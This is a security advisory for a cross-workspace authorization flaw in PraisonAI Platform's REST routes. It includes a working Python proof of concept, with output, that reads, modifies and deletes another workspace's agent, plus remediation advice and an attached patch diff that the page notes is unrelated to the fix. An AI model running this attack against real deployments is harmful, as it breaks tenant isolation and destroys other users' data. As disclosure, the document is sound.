PraisonAI Platform workspace-scoped routes allow cross-workspace object access by global object ID
Description
Summary
PraisonAI Platform's workspace-scoped REST routes contain a systemic object-level authorization flaw that allows an authenticated user from one workspace to access, modify, and delete objects belonging to another workspace by supplying the victim object's global UUID.
The affected pattern appears in workspace-scoped routes such as agents, projects, issues, and comments. The route layer verifies that the caller is a member of the workspace_id provided in the URL, but the service layer later resolves the target object by global object ID only. It does not verify that the resolved object actually belongs to the workspace in the URL.
As a result, a valid member of workspace_attacker can call a route under:
/api/v1/workspaces/{workspace_attacker}/...
while supplying an object UUID from workspace_victim. The server authorizes the request based on membership in workspace_attacker, then fetches or mutates the victim object by global UUID.
This breaks the platform's workspace isolation boundary.
Details
The root cause is that workspace membership authorization and object ownership validation are not bound together.
The workspace dependency validates only that the caller is a member of the workspace named in the URL:
# praisonai_platform/api/deps.py
async def require_workspace_member(
workspace_id: str,
user: AuthIdentity = Depends(get_current_user),
session: AsyncSession = Depends(get_db),
min_role: str = "member",
) -> AuthIdentity:
member_svc = MemberService(session)
has = await member_svc.has_role(workspace_id, user.id, min_role)
This confirms that the caller has access to the URL workspace. However, it does not prove that the target object belongs to that workspace.
For example, the agent routes are scoped under a workspace path, but object access is performed using only the raw agent_id:
# praisonai_platform/api/routes/agents.py
@router.get("/{agent_id}", response_model=AgentResponse)
async def get_agent(workspace_id: str, agent_id: str, ...):
agent = await svc.get(agent_id)
return AgentResponse.model_validate(agent)
The service method resolves the agent by global UUID only:
# praisonai_platform/services/agent_service.py
async def get(self, agent_id: str) -> Optional[Agent]:
return await self._session.get(Agent, agent_id)
The same pattern is used for update and delete operations:
# praisonai_platform/api/routes/agents.py
agent = await svc.update(agent_id, ...)
deleted = await svc.delete(agent_id)
# praisonai_platform/services/agent_service.py
agent = await self.get(agent_id)
...
await self._session.delete(agent)
There is no check equivalent to:
agent.workspace_id == workspace_id
Therefore, if an attacker is a valid member of any workspace, they can pass their own workspace ID in the URL while supplying an object ID from another workspace.
The same architectural pattern appears in other workspace-scoped object routes, including projects, issues, and comments:
# praisonai_platform/api/routes/projects.py
project = await svc.get(project_id)
project = await svc.update(project_id, ...)
deleted = await svc.delete(project_id)
# praisonai_platform/services/project_service.py
return await self._session.get(Project, project_id)
# praisonai_platform/api/routes/issues.py
issue = await svc.get(issue_id)
issue = await svc.update(issue_id, ...)
deleted = await svc.delete(issue_id)
comments = await svc.list_for_issue(issue_id)
# praisonai_platform/services/issue_service.py
return await self._session.get(Issue, issue_id)
# praisonai_platform/services/comment_service.py
select(Comment).where(Comment.issue_id == issue_id)
This indicates a systemic object-level access control issue: routes are workspace-scoped, but service-layer object lookups are not workspace-bound.
PoC
The following local PoC creates a real PraisonAI Platform FastAPI app backed by an in-memory SQLite database, then uses only HTTP requests against the real API routes.
The PoC demonstrates the following chain:
- An attacker account creates
workspace_attacker. - A victim account creates
workspace_victim. - The victim creates an agent in
workspace_victim. - The attacker sends:
GET /api/v1/workspaces/{workspace_attacker}/agents/{victim_agent_id}
- The server returns the victim agent from
workspace_victim. - The attacker updates the victim agent through the attacker workspace path.
- The victim observes the attacker-controlled modification.
- The attacker deletes the victim agent through the attacker workspace path.
Run with:
PRAISONAI_REPO=/path/to/PraisonAI python -B embedded_poc.py
Full PoC:
#!/usr/bin/env python3
from __future__ import annotations
import asyncio
import os
import sys
import types
import uuid
from pathlib import Path
from httpx import ASGITransport, AsyncClient
from sqlalchemy.ext.asyncio import create_async_engine
REPO_ROOT = Path(os.environ.get("PRAISONAI_REPO", "/path/to/PraisonAI")).resolve()
PLATFORM_ROOT = REPO_ROOT / "src" / "praisonai-platform"
AGENTS_ROOT = REPO_ROOT / "src" / "praisonai-agents"
def verify_source() -> None:
expected = {
PLATFORM_ROOT / "praisonai_platform/api/deps.py": [
'min_role: str = "member"',
"member_svc.has_role(workspace_id, user.id, min_role)",
],
PLATFORM_ROOT / "praisonai_platform/api/routes/agents.py": [
'@router.get("/{agent_id}", response_model=AgentResponse)',
"agent = await svc.get(agent_id)",
'@router.patch("/{agent_id}", response_model=AgentResponse)',
"agent = await svc.update(",
'@router.delete("/{agent_id}", status_code=status.HTTP_204_NO_CONTENT)',
"deleted = await svc.delete(agent_id)",
],
PLATFORM_ROOT / "praisonai_platform/services/agent_service.py": [
"return await self._session.get(Agent, agent_id)",
"agent = await self.get(agent_id)",
"await self._session.delete(agent)",
],
}
for path, needles in expected.items():
if not path.exists():
raise RuntimeError(f"source verification failed: file not found: {path}")
text = path.read_text(encoding="utf-8")
for needle in needles:
if needle not in text:
raise RuntimeError(f"source verification failed: {needle!r} not found in {path}")
async def main() -> int:
verify_source()
sys.path.insert(0, str(PLATFORM_ROOT))
sys.path.insert(0, str(AGENTS_ROOT))
if "passlib" not in sys.modules:
passlib_pkg = types.ModuleType("passlib")
passlib_pkg.__path__ = []
sys.modules["passlib"] = passlib_pkg
if "passlib.context" not in sys.modules:
passlib_context = types.ModuleType("passlib.context")
class _CryptContext:
def __init__(self, *args, **kwargs):
pass
def hash(self, password: str) -> str:
return f"stub::{password}"
def verify(self, password: str, hashed: str) -> bool:
return hashed == f"stub::{password}"
passlib_context.CryptContext = _CryptContext
sys.modules["passlib.context"] = passlib_context
os.environ["PLATFORM_JWT_SECRET"] = "test-secret-for-testing-only"
from praisonai_platform.api.app import create_app
from praisonai_platform.db.base import Base, reset_engine
from praisonai_platform.db import base as base_mod
await reset_engine()
engine = create_async_engine(
"sqlite+aiosqlite:///:memory:",
echo=False,
connect_args={"check_same_thread": False},
)
base_mod._engine = engine
base_mod._session_factory = None
async with engine.begin() as conn:
await conn.run_sync(Base.metadata.create_all)
app = create_app()
suffix = uuid.uuid4().hex[:8]
password = "Password123!"
transport = ASGITransport(app=app)
async with AsyncClient(transport=transport, base_url="http://test") as client:
attacker = await client.post(
"/api/v1/auth/register",
json={
"email": f"attacker_{suffix}@example.com",
"password": password,
"name": f"attacker_{suffix}",
},
)
victim = await client.post(
"/api/v1/auth/register",
json={
"email": f"victim_{suffix}@example.com",
"password": password,
"name": f"victim_{suffix}",
},
)
attacker_json = attacker.json()
victim_json = victim.json()
attacker_headers = {"Authorization": f"Bearer {attacker_json['token']}"}
victim_headers = {"Authorization": f"Bearer {victim_json['token']}"}
attacker_ws = await client.post(
"/api/v1/workspaces/",
json={
"name": f"attacker-ws-{suffix}",
"slug": f"attacker-ws-{suffix}",
"description": "attacker workspace",
},
headers=attacker_headers,
)
victim_ws = await client.post(
"/api/v1/workspaces/",
json={
"name": f"victim-ws-{suffix}",
"slug": f"victim-ws-{suffix}",
"description": "victim workspace",
},
headers=victim_headers,
)
attacker_workspace_id = attacker_ws.json()["id"]
victim_workspace_id = victim_ws.json()["id"]
victim_agent = await client.post(
f"/api/v1/workspaces/{victim_workspace_id}/agents/",
json={
"name": "victim-agent",
"runtime_mode": "local",
"instructions": "secret instructions",
},
headers=victim_headers,
)
victim_agent_id = victim_agent.json()["id"]
attacker_read = await client.get(
f"/api/v1/workspaces/{attacker_workspace_id}/agents/{victim_agent_id}",
headers=attacker_headers,
)
attacker_update = await client.patch(
f"/api/v1/workspaces/{attacker_workspace_id}/agents/{victim_agent_id}",
json={"instructions": "pwned-by-attacker"},
headers=attacker_headers,
)
victim_read_after_update = await client.get(
f"/api/v1/workspaces/{victim_workspace_id}/agents/{victim_agent_id}",
headers=victim_headers,
)
attacker_delete = await client.delete(
f"/api/v1/workspaces/{attacker_workspace_id}/agents/{victim_agent_id}",
headers=attacker_headers,
)
victim_read_after_delete = await client.get(
f"/api/v1/workspaces/{victim_workspace_id}/agents/{victim_agent_id}",
headers=victim_headers,
)
print(f"[poc] attacker_workspace={attacker_workspace_id}")
print(f"[poc] victim_workspace={victim_workspace_id}")
print(f"[poc] victim_agent_id={victim_agent_id}")
print(
"[poc] attacker_read_status="
f"{attacker_read.status_code} "
f"workspace_id={attacker_read.json().get('workspace_id')} "
f"instructions={attacker_read.json().get('instructions')}"
)
print(
"[poc] attacker_update_status="
f"{attacker_update.status_code} "
f"instructions={attacker_update.json().get('instructions')}"
)
print(
"[poc] victim_read_after_update_status="
f"{victim_read_after_update.status_code} "
f"instructions={victim_read_after_update.json().get('instructions')}"
)
print(f"[poc] attacker_delete_status={attacker_delete.status_code}")
print(f"[poc] victim_read_after_delete_status={victim_read_after_delete.status_code}")
if attacker_read.status_code != 200:
raise SystemExit("[poc] MISS: attacker could not read victim agent")
if attacker_read.json().get("workspace_id") != victim_workspace_id:
raise SystemExit("[poc] MISS: read response was not the victim workspace agent")
if attacker_update.status_code != 200 or attacker_update.json().get("instructions") != "pwned-by-attacker":
raise SystemExit("[poc] MISS: attacker could not update victim agent")
if victim_read_after_update.status_code != 200 or victim_read_after_update.json().get("instructions") != "pwned-by-attacker":
raise SystemExit("[poc] MISS: victim did not observe attacker-controlled update")
if attacker_delete.status_code != 204:
raise SystemExit("[poc] MISS: attacker could not delete victim agent")
if victim_read_after_delete.status_code != 404:
raise SystemExit("[poc] MISS: victim agent still existed after attacker delete")
print("[poc] HIT: attacker workspace token read, modified, and deleted a victim workspace agent")
await engine.dispose()
base_mod._engine = None
base_mod._session_factory = None
return 0
if __name__ == "__main__":
raise SystemExit(asyncio.run(main()))
Observed result:
[poc] attacker_workspace=3f7c...
[poc] victim_workspace=be1d...
[poc] victim_agent_id=7f04...
[poc] attacker_read_status=200 workspace_id=be1d... instructions=secret instructions
[poc] attacker_update_status=200 instructions=pwned-by-attacker
[poc] victim_read_after_update_status=200 instructions=pwned-by-attacker
[poc] attacker_delete_status=204
[poc] victim_read_after_delete_status=404
[poc] HIT: attacker workspace token read, modified, and deleted a victim workspace agent
This confirms that an authenticated user from one workspace can read, modify, and delete an object belonging to another workspace by using the victim object's UUID through the attacker's own workspace-scoped route.
Impact
Any authenticated workspace member who knows or obtains object UUIDs from another workspace may be able to:
- read other workspaces' agents;
- read agent instructions and metadata;
- modify victim agents;
- delete victim agents;
- potentially read, modify, or delete projects and issues that follow the same object lookup pattern;
- enumerate comments for issues by raw
issue_id; - corrupt activity data, project state, and issue state across workspace boundaries.
This breaks the platform's tenant-isolation boundary. The impact is especially serious in multi-tenant deployments where separate users or teams rely on workspaces as an authorization boundary.
The demonstrated PoC confirms read, update, and delete access against agents. The same root-cause pattern appears in other workspace-scoped object routes and should be audited across the platform.
Suggested remediation
Recommended fixes:
- Require every object fetch, update, and delete method to take both
workspace_idandobject_id.
- Enforce object ownership in the service layer. For example:
agent = await self._session.get(Agent, agent_id)
if not agent or agent.workspace_id != workspace_id:
return None
- Avoid service methods that resolve workspace-owned objects by global UUID alone.
- Apply the same object-level ownership checks to agents, projects, issues, comments, dependencies, and any other workspace-owned resources.
- For comment and dependency helpers that pivot from raw
issue_id, validate that the parent issue belongs to the authorized workspace before returning or modifying child records.
- Add regression tests for negative cross-workspace access cases, including:
workspace A member cannot read workspace B object
workspace A member cannot update workspace B object
workspace A member cannot delete workspace B object
workspace A member cannot list comments for workspace B issue
- Return
404 Not Foundor403 Forbiddenconsistently when an object does not belong to the authorized workspace.
Security boundary
This report concerns a workspace tenant-isolation failure. The caller is authenticated, but authentication alone is insufficient. The server must also verify that the requested object belongs to the workspace for which the caller has authorization.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
PraisonAI Platform's workspace-scoped objects (agents, projects, issues, comments) are accessible cross-workspace due to a missing ownership check after workspace membership validation.
Vulnerability
The PraisonAI Platform uses workspace-scoped REST routes (e.g., /api/v1/workspaces/{workspace_id}/agents/{agent_id}) that validate the caller's workspace membership via the require_workspace_member dependency in deps.py [1][2]. However, the service layer resolves the target object (e.g., agent, project, issue, comment) solely by its global UUID without verifying that the object belongs to the workspace named in the URL. This systemic object-level authorization flaw affects workspace-scoped routes including agents, projects, issues, and comments in versions up to and including the latest at the time of advisory publication. The route layer authorizes based on membership in workspace_attacker, but the service layer then fetches or mutates an object with a UUID from workspace_victim [1][2].
Exploitation
An authenticated user who is a member of any workspace can exploit this flaw. The attacker needs only a valid session and knowledge of the victim object's global UUID. No additional privileges or user interaction from the victim is required. The attacker sends a request to a workspace-scoped endpoint under their own workspace path (e.g., /api/v1/workspaces/{attacker_workspace}/agents/{victim_agent_id}). The server checks that the attacker is a member of attacker_workspace (passes), then uses the raw agent_id to retrieve or manipulate the victim's agent object, which belongs to a different workspace [1][2].
Impact
An attacker can read, modify, or delete any workspace-scoped object (agents, projects, issues, comments) that belongs to another workspace. This breaks the platform's workspace isolation boundary, leading to unauthorized information disclosure, data integrity loss, and potential denial of service through deletion of critical objects [1][2]. The privilege level achieved is that of the attacker's own role within their workspace, but the scope extends to all object operations regardless of the object's actual workspace membership [2].
Mitigation
The vendor has released a fix; see the GitHub advisory [2] for the fixed version and upgrade instructions. Users should update to the patched version as soon as possible. No workaround is available other than upgrading [1][2].
AI Insight generated on May 29, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected packages
Versions sourced from the GitHub Security Advisory.
| Package | Affected versions | Patched versions |
|---|---|---|
praisonai-platformPyPI | < 0.1.4 | 0.1.4 |
Affected products
2Patches
18b72cec167ecMerge pull request #168 from MervinPraison/develop
6 files changed · +25 −18
Dockerfile+1 −1 modified@@ -1,6 +1,6 @@ FROM python:3.11-slim WORKDIR /app COPY . . -RUN pip install flask praisonai==0.1.2 gunicorn markdown +RUN pip install flask praisonai==0.1.3 gunicorn markdown EXPOSE 8080 CMD ["gunicorn", "-b", "0.0.0.0:8080", "api:app"]
docs/api/praisonai/deploy.html+1 −1 modified@@ -110,7 +110,7 @@ <h2 id="raises">Raises</h2> file.write("FROM python:3.11-slim\n") file.write("WORKDIR /app\n") file.write("COPY . .\n") - file.write("RUN pip install flask praisonai==0.1.2 gunicorn markdown\n") + file.write("RUN pip install flask praisonai==0.1.3 gunicorn markdown\n") file.write("EXPOSE 8080\n") file.write('CMD ["gunicorn", "-b", "0.0.0.0:8080", "api:app"]\n')
praisonai/deploy.py+1 −1 modified@@ -56,7 +56,7 @@ def create_dockerfile(self): file.write("FROM python:3.11-slim\n") file.write("WORKDIR /app\n") file.write("COPY . .\n") - file.write("RUN pip install flask praisonai==0.1.2 gunicorn markdown\n") + file.write("RUN pip install flask praisonai==0.1.3 gunicorn markdown\n") file.write("EXPOSE 8080\n") file.write('CMD ["gunicorn", "-b", "0.0.0.0:8080", "api:app"]\n')
praisonai.rb+1 −1 modified@@ -3,7 +3,7 @@ class Praisonai < Formula desc "AI tools for various AI applications" homepage "https://github.com/MervinPraison/PraisonAI" - url "https://github.com/MervinPraison/PraisonAI/archive/refs/tags/0.1.2.tar.gz" + url "https://github.com/MervinPraison/PraisonAI/archive/refs/tags/0.1.3.tar.gz" sha256 "1828fb9227d10f991522c3f24f061943a254b667196b40b1a3e4a54a8d30ce32" # Replace with actual SHA256 checksum license "MIT"
praisonai/ui/realtime.py+20 −13 modified@@ -6,7 +6,6 @@ from openai import AsyncOpenAI import chainlit as cl -from chainlit.logger import logger from chainlit.input_widget import TextInput from chainlit.types import ThreadDict @@ -16,6 +15,25 @@ import chainlit.data as cl_data from literalai.helper import utc_now import json +import logging +import importlib.util +from importlib import import_module +from pathlib import Path + +# Set up logging +logger = logging.getLogger(__name__) +log_level = os.getenv("LOGLEVEL", "INFO").upper() +logger.handlers = [] + +# Set up logging to console +console_handler = logging.StreamHandler() +console_handler.setLevel(log_level) +console_formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s') +console_handler.setFormatter(console_formatter) +logger.addHandler(console_handler) + +# Set the logging level for the logger +logger.setLevel(log_level) # Set up CHAINLIT_AUTH_SECRET CHAINLIT_AUTH_SECRET = os.getenv("CHAINLIT_AUTH_SECRET") @@ -144,19 +162,8 @@ def load_setting(key: str) -> str: client = AsyncOpenAI() -# Add these new imports and code -import importlib.util -import logging -from importlib import import_module -from pathlib import Path - -# Set up logging -logging.basicConfig(level=logging.INFO) -logger = logging.getLogger(__name__) - # Try to import tools from the root directory -root_dir = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) -tools_path = os.path.join(root_dir, 'tools.py') +tools_path = os.path.join(os.getcwd(), 'tools.py') logger.info(f"Tools path: {tools_path}") def import_tools_from_file(file_path):
pyproject.toml+1 −1 modified@@ -1,6 +1,6 @@ [tool.poetry] name = "PraisonAI" -version = "0.1.2" +version = "0.1.3" description = "PraisonAI application combines AutoGen and CrewAI or similar frameworks into a low-code solution for building and managing multi-agent LLM systems, focusing on simplicity, customization, and efficient human-agent collaboration." authors = ["Mervin Praison"] license = ""
Vulnerability mechanics
Root cause
"Workspace membership authorization and object ownership validation are not bound together; service-layer object lookups resolve by global UUID only and never verify that the object belongs to the workspace in the URL."
Attack vector
An authenticated attacker who is a member of any workspace can read, modify, or delete objects belonging to another workspace. The attacker sends a request to a workspace-scoped route (e.g., `/api/v1/workspaces/{attacker_workspace}/agents/{victim_agent_id}`) using their own workspace ID in the URL and the victim object's global UUID as the object ID. The server authorizes the request based on membership in the attacker's workspace, then fetches or mutates the victim object by UUID without verifying that the object belongs to the authorized workspace [ref_id=1]. This breaks the platform's tenant-isolation boundary.
Affected code
The flaw spans workspace-scoped routes in `praisonai_platform/api/routes/agents.py`, `projects.py`, `issues.py`, and their corresponding service files (`agent_service.py`, `project_service.py`, `issue_service.py`, `comment_service.py`). The route layer calls `require_workspace_member` in `deps.py` to verify membership in the URL workspace, but the service layer resolves objects by global UUID only (e.g., `await self._session.get(Agent, agent_id)`) without checking `agent.workspace_id == workspace_id` [ref_id=1].
What the fix does
The provided patch (`patch_id=3131087`) does not address the workspace authorization vulnerability; it is an unrelated merge that updates version numbers and fixes a custom tool import path. The advisory recommends that every object fetch, update, and delete method take both `workspace_id` and `object_id`, and that the service layer enforce `agent.workspace_id == workspace_id` before returning or mutating the object [ref_id=1]. No fix for this CVE is present in the supplied patch.
Preconditions
- authAttacker must be an authenticated user who is a member of at least one workspace on the platform.
- inputAttacker must know or be able to guess the global UUID of a target object (agent, project, issue, etc.) belonging to another workspace.
- configThe target workspace must contain objects (agents, projects, issues, comments) that follow the vulnerable lookup pattern.
Generated on May 29, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
2News mentions
0No linked articles in our index yet.